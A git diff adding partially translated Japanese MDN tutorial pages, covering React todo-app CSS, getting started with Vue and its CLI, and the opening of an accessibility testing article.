0 0 0 2px; +} +[class*="__lg"] { + display: inline-block; + width: 100%; + font-size: 1.9rem; +} +[class*="__lg"]:not(:last-child) { + margin-bottom: 1rem; +} +@media screen and (min-width: 620px) { + [class*="__lg"] { + font-size: 2.4rem; + } +} +.filters { + width: 100%; + margin: unset auto; +} +/* Todo item styles */ +.todo { + display: flex; + flex-direction: row; + flex-wrap: wrap; +} +.todo > * { + flex: 0 0 100%; +} +.todo-text { + width: 100%; + min-height: 4.4rem; + padding: 0.4rem 0.8rem; + border: 2px solid #565656; +} +.todo-text:focus { + box-shadow: inset 0 0 0 2px; +} +/* CHECKBOX STYLES */ +.c-cb { + box-sizing: border-box; + font-family: Arial, sans-serif; + -webkit-font-smoothing: antialiased; + font-weight: 400; + font-size: 1.6rem; + line-height: 1.25; + display: block; + position: relative; + min-height: 44px; + padding-left: 40px; + clear: left; +} +.c-cb > label::before, +.c-cb > input[type="checkbox"] { + box-sizing: border-box; + top: -2px; + left: -2px; + width: 44px; + height: 44px; +} +.c-cb > input[type="checkbox"] { + -webkit-font-smoothing: antialiased; + cursor: pointer; + position: absolute; + z-index: 1; + margin: 0; + opacity: 0; +} +.c-cb > label { + font-size: inherit; + font-family: inherit; + line-height: inherit; + display: inline-block; + margin-bottom: 0; + padding: 8px 15px 5px; + cursor: pointer; + touch-action: manipulation; +} +.c-cb > label::before { + content: ""; + position: absolute; + border: 2px solid currentColor; + background: transparent; +} +.c-cb > input[type="checkbox"]:focus + label::before { + border-width: 4px; + outline: 3px dashed #228bec; +} +.c-cb > label::after { + box-sizing: content-box; + content: ""; + position: absolute; + top: 11px; + left: 9px; + width: 18px; + height: 7px; + transform: rotate(-45deg); + border: solid; + border-width: 0 0 5px 5px; + border-top-color: transparent; + opacity: 0; + background: transparent; +} +.c-cb > input[type="checkbox"]:checked + label::after { + opacity: 1; +}</pre> + +<p><font><font>保存してブラウザーを確認すると、アプリに適切なスタイルが設定されているはずです。</font></font></p> + +<h2 id="まとめ">まとめ</h2> + +<p><font><font>これで、todoリストアプリはまるで実際のアプリのように見えます。</font><font>問題は、実際には何も動かないことです。</font><font>次の章で修正を始めます！</font></font></p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Introduction to client-side frameworks</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li> + <li>React + <ul> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">Getting started with React</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">Beginning our React todo list</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">Componentizing our React app</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events and state</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React resources</a></li> + </ul> + </li> + <li>Ember + <ul> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Getting started with Ember</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Ember app structure and componentization</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Ember interactivity: Events, classes and state</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Ember Interactivity: Footer functionality, conditional rendering</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">Routing in Ember</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Ember resources and troubleshooting</a></li> + </ul> + </li> + <li>Vue + <ul> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Getting started with Vue</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">Creating our first Vue component</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">Rendering a list of Vue components</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">Adding a new todo form: Vue events, methods, and models</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">Styling Vue components with CSS</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">Using Vue computed properties</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">Vue conditional rendering: editing existing todos</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">Focus management with Vue refs</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">Vue resources</a></li> + </ul> + </li> +</ul> + +<ul> + <li> + <ul> + <li></li> + </ul> + </li> +</ul> diff --git a/files/ja/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.html b/files/ja/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.html new file mode 100644 index 0000000000..4277a7ba9d --- /dev/null +++ b/files/ja/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.html @@ -0,0 +1,301 @@ +--- +title: Getting started with Vue +slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started +tags: + - Beginner + - Frameworks + - Installation + - JavaScript + - Learn + - client-side + - vue +translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</div> + +<p class="summary">Now let's introduce Vue, the third of our frameworks. In this article we'll look at a little bit of Vue background, learn how to install it and create a new project, study the high-level structure of the whole project and an individual component, see how to run the project locally, and get it prepared to start building our example.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td> + <p>Familiarity with the core <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, and <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> languages, knowledge of the <a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">terminal/command line</a>.</p> + + <p>Vue components are written as a combination of JavaScript objects that manage the app's data and an HTML-based template syntax that maps to the underlying DOM structure. For installation, and to use some of the more advanced features of Vue (like Single File Components or render functions), you'll need a terminal with node + npm installed.</p> + </td> + </tr> + <tr> + <th scope="row">Objective:</th> + <td>To setup a local Vue development environment, create a starter app, and understand the basics of how it works.</td> + </tr> + </tbody> +</table> + +<h2 id="より明確な_Vue">より明確な Vue</h2> + +<p>Vue is a modern JavaScript framework that provides useful facilities for progressive enhancement — unlike many other frameworks, you can use Vue to enhance existing HTML. This lets you use Vue as a drop-in replacement for a library like <a href="/en-US/docs/Glossary/jQuery">JQuery</a>.</p> + +<p>That being said, you can also use Vue to write entire Single Page Applications (SPAs). This allows you to create markup managed entirely by Vue, which can improve developer experience and performance when dealing with complex applications. It also allows you to take advantage of libraries for client-side routing and state management when you need to. Additionally, Vue takes a "middle ground" approach to tooling like client-side routing and state management. While the Vue core team maintains suggested libraries for these functions, they are not directly bundled into Vue. This allows you to select a different routing/state management library if they better fit your application.</p> + +<p>In addition to allowing you to progressively integrate Vue into your applications, Vue also provides a progressive approach to writing markup. Like most frameworks, Vue lets you create reusable blocks of markup via components. Most of the time, Vue components are written using a special HTML template syntax. When you need more control than the HTML syntax allows, you can write JSX or plain JavaScript functions to define your components.</p> + +<p>As you work through this tutorial, you might want to keep the <a href="https://vuejs.org/v2/guide/">Vue guide</a> and <a href="https://vuejs.org/v2/api/">API documentation</a> open in other tabs, so you can refer to them if you want more information on any sub topic.<br> + For a good (but potentially biased) comparison between Vue and many of the other frameworks, see <a href="https://vuejs.org/v2/guide/comparison.html">Vue Docs: Comparison with Other Frameworks</a>.</p> + +<h2 id="取り付け">取り付け</h2> + +<p>To use Vue in an existing site, you can drop one of the following <code><a href="/en-US/docs/Web/HTML/Element/script"><script></a></code> elements onto a page. This allows you to start using Vue on existing sites, which is why Vue prides itself on being a progressive framework. This is a great option when migrating an existing project using a library like JQuery to Vue. With this method, you can use a lot of the core features of Vue, such as the attributes, custom components, and data-management.</p> + +<ul> + <li> + <p>Development Script (Unoptimized, but includes console warnings. Great for development</p> + + <pre class="brush: html notranslate"><script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script></pre> + </li> + <li> + <p>Production Script (Optimized version, minimal console warnings. It is recommended that you specify a version number when including Vue on your site so that any framework updates do not break your live site without you knowing.)</p> + + <pre class="brush: html notranslate"><script src="https://cdn.jsdelivr.net/npm/vue@2"></script></pre> + </li> +</ul> + +<p>However, this approach has some limitations. To build more complex apps, you’ll want to use the <a href="https://www.npmjs.com/package/vue">Vue NPM package</a>. This will let you use advanced features of Vue and take advantage of bundlers like WebPack. To make building apps with Vue easier, there is a CLI to streamline the development process. To use the npm package & the CLI you will need:</p> + +<ol> + <li>Node.js 8.11+ installed.</li> + <li>npm or yarn.</li> +</ol> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: If you don't have the above installed, find out <a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line#Adding_powerups">more about installing npm and Node.js</a> here.</p> +</div> + +<p>To install the CLI, run the following command in your terminal:</p> + +<pre class="brush: bash notranslate">npm install --global @vue/cli</pre> + +<p>Or if you'd prefer to use yarn:</p> + +<pre class="brush: bash notranslate">yarn global add @vue/cli</pre> + +<p>Once installed, to initialize a new project you can then open a terminal in the directory you want to create the project in, and run <code>vue create <project-name></code>. The CLI will then give you a list of project configurations you can use. There are a few preset ones, and you can make your own. These options let you configure things like TypeScript, linting, vue-router, testing, and more.</p> + +<p>We’ll look at using this below.</p> + +<h2 id="新規のプロジェクトを初期化する">新規のプロジェクトを初期化する</h2> + +<p>To explore various features of Vue, we will be building up a sample todo list app. We'll begin by using the Vue CLI to create a new app framework to build our app into. Follow the steps below:</p> + +<ol> + <li>In terminal, <code>cd</code> to where you'd like to create your sample app, then run <code>vue create moz-todo-vue</code>.</li> + <li>Use the arrow keys and <kbd>Enter</kbd> to select the "Manually select features" option.</li> + <li>The first menu you’ll be presented with allows you to choose which features you want to include in your project. Make sure that "Babel" and "Linter / Formatter" are selected. If they are not, use the arrow keys and the space bar to toggle them on. Once they are selected, press <kbd>Enter</kbd> to proceed.</li> + <li>Next you’ll select a config for the linter / formatter. Navigate to "Eslint with error prevention only" and hit <kbd>Enter</kbd> again. This will help us catch common errors, but not be overly opinionated.</li> + <li>Next you are asked to configure what kind of automated linting we want. Select "Lint on save". This will check for errors when we save a file inside the project. Hit <kbd>Enter</kbd> to continue.</li> + <li>Now, you will select how we want your config files to be managed. "In dedicated config files" will put your config settings for things like ESLint into their own, dedicated files. The other option, "In package.json", will put all of your config settings into the app's <code>package.json</code> file. Select "In dedicated config files" and push <kbd>Enter</kbd>.</li> + <li>Finally, you are asked if you want to save this as a preset for future options. This is entirely up to you. If you like these settings over the existing presets and want to use them again, type <kbd>y</kbd> , otherwise type <kbd>n</kbd>.</li> +</ol> + +<p>The CLI will now begin scaffolding out your project, and installing all of your dependencies.</p> + +<p>If you've never run the Vue CLI before, you'll get one more question — you'll be asked to choose a package manager. You can use the arrow keys to select which one you prefer. The Vue CLI will default to this package manager from now on. If you need to use a different package manager after this, you can pass in a flag <code>--packageManager=<package-manager></code>, when you run <code>vue create</code>. So if you wanted to create the <code>moz-todo-vue</code> project with npm and you'd previously chosen yarn, you’d run <code>vue create moz-todo-vue --packageManager=npm</code>.</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: We've not gone over all of the options here, but you can <a href="https://cli.vuejs.org">find more information on the CLI</a> in the Vue docs.</p> +</div> + +<h2 id="プロジェクトの構造">プロジェクトの構造</h2> + +<p>If everything went successfully, the CLI should have created a series of files and directories for your project. The most significant ones are as follows:</p> + +<ul> + <li><code>.eslintrc.js</code>: This is a config file for <a href="https://eslint.org/">eslint</a>. You can use this to manage your linting rules.</li> + <li><code>babel.config.js</code>: This is the config file for <a href="https://babeljs.io/">Babel</a>, which transforms modern JavaScript features being used in development code into older syntax that is more cross-browser compatible in production code. You can register additional babel plugins in this file.</li> + <li><code>.browserslistrc</code>: This is a config for <a href="https://github.com/browserslist/browserslist">Browserslist</a>. You can use this to control which browsers your tooling optimizes for.</li> + <li><code>public</code>: This directory contains static assets that are published, but not processed by <a href="https://webpack.js.org/">Webpack</a> during build (with one exception; <code>index.html</code> gets some processing). + <ul> + <li><code>favicon.ico</code>: This is the favicon for your app. Currently, it's the Vue logo.</li> + <li><code>index.html</code>: This is the template for your app. Your Vue app is run from this HTML page, and you can use lodash template syntax to interpolate values into it. + <div class="note"><strong>Note</strong>: this is not the template for managing the layout of your application — this template is for managing static HTML that sits outside of your Vue app. Editing this file typically only occurs in advanced use cases.</div> + </li> + </ul> + </li> + <li><code>src</code>: This directory contains the core of your Vue app. + <ul> + <li><code>main.js</code>: this is the entry point to your application. Currently, this file initializes your Vue application and signifies which HTML element in the <code>index.html</code> file your app should be attached to. This file is often where you register global components or additional Vue libraries.</li> + <li><code>App.vue</code>: this is the top-level component in your Vue app. See below for more explanation of Vue components.</li> + <li><code>components</code>: this directory is where you keep your components. Currently it just has one example component.</li> + <li><code>assets</code>: This directory is for storing static assets like CSS and images. Because these files are in the source directory, they can be processed by Webpack. This means you can use pre-processors like <a href="https://sass-lang.com/">Sass/SCSS</a> or <a href="https://stylus-lang.com/">Stylus</a>.</li> + </ul> + </li> +</ul> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: Depending on the options you select when creating a new project, there might be other directories present (for example, if you choose a router, you will also have a <code>views</code> directory).</p> +</div> + +<h2 id=".vue_ファイル_単一ファイルコンポーネント">.vue ファイル (単一ファイルコンポーネント)</h2> + +<p>Like in many front-end frameworks, components are a central part of building apps in Vue. These components let you break a large application into discrete building blocks that can be created and managed separately, and transfer data between each other as required. These small blocks can help you reason about and test your code.</p> + +<p>While some frameworks encourage you to separate your template, logic, and styling code into separate files, Vue takes the opposite approach. Using <a href="https://vuejs.org/v2/guide/single-file-components.html">Single File Components</a>, Vue lets you group your templates, corresponding script, and CSS all together in a single file ending in <code>.vue</code>. These files are processed by a JS build tool (such as Webpack), which means you can take advantage of build-time tooling in your project. This allows you to use tools like Babel, TypeScript, SCSS and more to create more sophisticated components.</p> + +<p>As a bonus, projects created with the Vue CLI are configured to use <code>.vue</code> files with Webpack out of the box. In fact, if you look inside the <code>src</code> folder in the project we created with the CLI, you'll see your first <code>.vue</code> file: <code>App.vue</code>.</p> + +<p>Let's explore this now.</p> + +<h3 id="App.vue">App.vue</h3> + +<p>Open your <code>App.vue</code> file — you’ll see that it has three parts: <code><template></code>, <code><script></code>, and <code><style></code>, which contain the component’s template, scripting, and styling information. All Single File Components share this same basic structure.</p> + +<p><code><template></code> contains all the markup structure and display logic of your component. Your template can contain any valid HTML, as well as some Vue-specific syntax that we'll cover later.</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: By setting the <code>lang</code> attribute on the <code><template></code> tag, you can use Pug template syntax instead of standard HTML — <code><template lang="pug"></code>. We'll stick to standard HTML through this tutorial, but it is worth knowing that this is possible.</p> +</div> + +<p><code><script></code> contains all of the non-display logic of your component. Most importantly, your <code><script></code> tag needs to have a default exported JS object. This object is where you locally register components, define component inputs (props), handle local state, define methods, and more. Your build step will process this object and transform it (with your template) into a Vue component with a <code>render()</code> function.</p> + +<p>In the case of <code>App.vue</code>, our default export sets the name of the component to <code>app</code> and registers the <code>HelloWorld</code> component by adding it into the <code>components</code> property. When you register a component in this way, you're registering it locally. Locally registered components can only be used inside the components that register them, so you need to import and register them in every component file that uses them. This can be useful for bundle splitting/tree shaking since not every page in your app necessarily needs every component.</p> + +<pre class="brush: js notranslate">import HelloWorld from './components/HelloWorld.vue'; + +export default { + name: 'app', + components: { + //You can register components locally here. + HelloWorld + } +};</pre> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: If you want to use <a href="https://www.typescriptlang.org/">TypeScript</a> syntax, you need to set the <code>lang</code> attribute on the <code><script></code> tag to signify to the compiler that you're using TypeScript — <code><script lang="ts"></code>.</p> +</div> + +<p><code><style></code> is where you write your CSS for the component. If you add a <code>scoped</code> attribute — <code><style scoped></code> — Vue will scope the styles to the contents of your SFC. This works similar to CSS-in-JS solutions, but allows you to just write plain CSS.</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: If you select a CSS pre-processor when creating the project via the CLI, you can add a <code>lang</code> attribute to the <code><style></code> tag so that the contents can be processed by Webpack at build time. For example, <code><style lang="scss"></code> will allow you to use SCSS syntax in your styling information.</p> +</div> + +<h2 id="アプリをローカルで実行する">アプリをローカルで実行する</h2> + +<p>The Vue CLI comes with a built-in development server. This allows you to run your app locally so you can test it easily without needing to configure a server yourself. The CLI adds a <code>serve</code> command to the project’s <code>package.json</code> file as an npm script, so you can easily run it.</p> + +<p>In your terminal, try running <code>npm run serve</code> (or <code>yarn serve</code> if you prefer yarn). Your terminal should output something like the following:</p> + +<pre class="notranslate">INFO Starting development server... +98% after emitting CopyPlugin + + DONE Compiled successfully in 18121ms + + App running at: + - Local: <http://localhost:8080/> + - Network: <http://192.168.1.9:8080/> + + Note that the development build is not optimized. + To create a production build, run npm run build.</pre> + +<p>If you navigate to the “local” address in a new browser tab (this should be something like <code>http://localhost:8080</code> as stated above, but may vary based on your setup), you should see your app. Right now, it should contain a welcome message, a link to the Vue documentation, links to the plugins you added when you initialized the app with your CLI, and some other useful links to the Vue community and ecosystem.</p> + +<p><img alt="default vue app render, with vue logo, welcome message, and some documentation links" src="https://mdn.mozillademos.org/files/17240/vue-default-app.png" style="border-style: solid; border-width: 1px; height: 779px; width: 1600px;"></p> + +<h2 id="いくつかの変更を加える">いくつかの変更を加える</h2> + +<p>Let's make our first change to the app — we’ll delete the Vue logo. Open the <code>App.vue</code> file, and delete the <code><a href="/en-US/docs/Web/HTML/Element/img"><img></a></code> element from the template section:</p> + +<pre class="brush: html notranslate"><span class="author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z8h7gz67ziz76zcz77zz80zz71zncfz69zz69ziaz82zz71zz72zhz77zz122zz90z14mcyd"><img alt="Vue logo" src="./assets/logo.png"></span></pre> + +<p>If your server is still running, you should see the logo removed from the rendered site almost instantly. Let’s also remove the <code>HelloWorld</code> component from our template.</p> + +<p>First of all delete this line:</p> + +<pre class="brush: html notranslate"><HelloWorld msg="Welcome to Your Vue.js App"/></pre> + +<p>If you save your <code>App.vue</code> file now, the rendered app will throw an error because we’ve registered the component but are not using it. We also need to remove the lines from inside the <code><script></code> element that import and register the component:</p> + +<p>Delete these lines now:</p> + +<pre class="brush: js notranslate">import HelloWorld from './components/HelloWorld.vue'</pre> + +<pre class="brush: js notranslate">components: { + HelloWorld +}</pre> + +<p>Your rendered app should no longer show an error, just a blank page, as we currently have no visible content inside <code><template></code>.</p> + +<p>Let’s add a new <code><h1></code> inside <code><div id="app"></code>. Since we’re going to be creating a todo list app below, let's set our header text to "To-Do List". Add it like so:</p> + +<pre class="brush: html notranslate"><template> + <div id="app"> + <h1>To-Do List</h1> + </div> +</template></pre> + +<p><code>App.vue</code> will now show our heading, as you'd expect.</p> + +<h2 id="概要">概要</h2> + +<p>Let's leave this here for now. We've learnt about some of the ideas behind Vue, created some scaffolding for our example app to live inside, inspected it, and made a few preliminary changes.</p> + +<p>With a basic introduction out of the way, we'll now go further and build up our sample app, a basic Todo list application that allows us to store a list of items, check them off when done, and filter the list by all, complete, and incomplete todos.</p> + +<p>In the next article we'll build our first custom component, and look at some important concepts such as passing props into it and saving its data state.</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p> + +<h2 id="このモジュールでは">このモジュールでは</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Introduction to client-side frameworks</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li> + <li>React + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">Getting started with React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">Beginning our React todo list</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">Componentizing our React app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events and state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React resources</a></li> + </ul> + </li> + <li>Ember + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Getting started with Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Ember app structure and componentization</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Ember interactivity: Events, classes and state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Ember Interactivity: Footer functionality, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">Routing in Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Ember resources and troubleshooting</a></li> + </ul> + </li> + <li>Vue + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Getting started with Vue</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">Creating our first Vue component</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">Rendering a list of Vue components</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">Adding a new todo form: Vue events, methods, and models</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">Styling Vue components with CSS</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">Using Vue computed properties</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">Vue conditional rendering: editing existing todos</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">Focus management with Vue refs</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">Vue resources</a></li> + </ul> + </li> + <li>Svelte + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started">Getting started with Svelte</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning">Starting our Svelte Todo list app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props">Dynamic behavior in Svelte: working with variables and props</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components">Componentizing our Svelte app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility">Advanced Svelte: Reactivity, lifecycle, accessibility</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores">Working with Svelte stores</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript">TypeScript support in Svelte</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next">Deployment and next steps</a></li> + </ul> + </li> +</ul> diff --git a/files/ja/learn/tools_and_testing/cross_browser_testing/accessibility/index.html b/files/ja/learn/tools_and_testing/cross_browser_testing/accessibility/index.html new file mode 100644 index 0000000000..26f98c400f --- /dev/null +++ b/files/ja/learn/tools_and_testing/cross_browser_testing/accessibility/index.html @@ -0,0 +1,624 @@ +--- +title: よくあるアクセシビリティの問題を扱う +slug: Learn/Tools_and_testing/Cross_browser_testing/Accessibility +tags: + - Accessibility + - Article + - Beginner + - CSS + - CodingScripting + - HTML + - JavaScript + - Learn + - Testing + - Tools + - cross browser + - keyboard +translation_of: Learn/Tools_and_testing/Cross_browser_testing/Accessibility +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> + +<p class="summary">次に、私たちはアクセシビリティに注意を向け、一般的な問題、簡単なテストの方法、そしてアクセシビリティの問題を見つけるための監査/自動化ツールの使い方を説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>コア <a href="/ja/docs/Learn/HTML">HTML</a>、<a href="/ja/docs/Learn/CSS">CSS</a>、および <a href="/ja/docs/Learn/JavaScript">JavaScript</a> 言語に精通していること。 高水準の<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">クロスブラウザーテストの原則</a>の理解。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>一般的なアクセシビリティの問題を診断し、それらを修正するための適切なツールとテクニックを使用できるようにすること。</td> + </tr> + </tbody> +</table> + +<h2 id="What_is_accessibility" name="What_is_accessibility">アクセシビリティとは？</h2> + +<p>ウェブ技術のコンテキストでアクセシビリティと言うとき、ほとんどの人は即座にウェブサイトやアプリが障碍のある人にも使えるようにすることを考えます。 例えば、</p> + +<ul> + <li>視覚障碍者は、スクリーンリーダーや拡大/ズームを使用してテキストにアクセスします。</li> + <li>運動機能障碍を持つ人々は、キーボード（または他のマウス以外の機能）を使用してウェブサイトの機能をアクティブ化します。</li> + <li>聴覚障碍を持つ人々は、音声や動画のコンテンツのキャプション/字幕またはその他の代替テキストに依存しています。</li> +</ul> + +<p>しかし、アクセシビリティが単に障碍に関するものであると言うのは間違っています。 実際、アクセシビリティの目的は、高性能デスクトップコンピュータを使用しているユーザーだけでなく、できるだけ多くのコンテキストで、できるだけ多くのユーザーがウェブサイトやアプリを使用できるようにすることです。 極端な例には次のものが含まれます。</p> + +<ul> + <li>モバイルデバイスのユーザー。</li> + <li>テレビ、腕時計などの代替ブラウジングデバイスのユーザー。</li> + <li>最新のブラウザーを搭載していない可能性がある古いデバイスのユーザー。</li> + <li>低速プロセッサを搭載している可能性がある、低スペックデバイスのユーザー。</li> +</ul> + +<p>ある意味では、このモジュール全体がアクセシビリティについてのものです — クロスブラウザーテストは、あなたのサイトができるだけ多くの人々によって使用できることを確認します。<a href="/ja/docs/Learn/Accessibility/What_is_accessibility"> アクセシビリティとは？</a>では、この記事よりも完全かつ徹底的にアクセシビリティを定義します。</p> + 